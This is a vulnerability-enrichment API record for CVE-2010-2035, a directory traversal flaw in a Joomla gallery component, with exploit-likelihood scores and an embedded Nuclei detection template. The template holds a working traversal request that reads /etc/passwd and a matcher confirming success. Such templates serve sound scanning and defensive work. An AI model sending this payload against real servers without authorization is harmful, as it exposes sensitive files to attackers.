{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2010-2035/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2010-2035/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2010-2035/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2010-2035/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2010-2035/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2010-2035/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2010-2035"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2010-2035"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.15781,"kev":false,"percentile":0.96885},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2010/CVE-2010-2035.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2010-2035\n\ninfo:\n  name: Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal\n  author: daffainfo\n  severity: high\n  description: A directory traversal vulnerability in the Percha Gallery (com_perchagallery) component 1.6 Beta for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.\n  impact: |\n    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.\n  remediation: Upgrade to the latest version to mitigate this vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/34006\n    - https://nvd.nist.gov/vuln/detail/CVE-2010-2035\n    - http://packetstormsecurity.org/1005-exploits/joomlaperchagl-lfi.txt\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2010-2035\n    cwe-id: CWE-22\n    epss-score: 0.15781\n    epss-percentile: 0.96885\n    cpe: cpe:2.3:a:percha:com_perchagallery:1.6:beta:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: percha\n    product: com_perchagallery\n  tags: cve,cve2010,packetstorm,joomla,lfi,edb,percha,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402201c017c509e7b2b8a7038c7f5d6e82f2c938d1c58d37afa1a1de3179b2d3d89a50220022abc469dbf5680ef76bd6ca50149fa65b767c9e752215348b721385e448fe5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2010-2035"}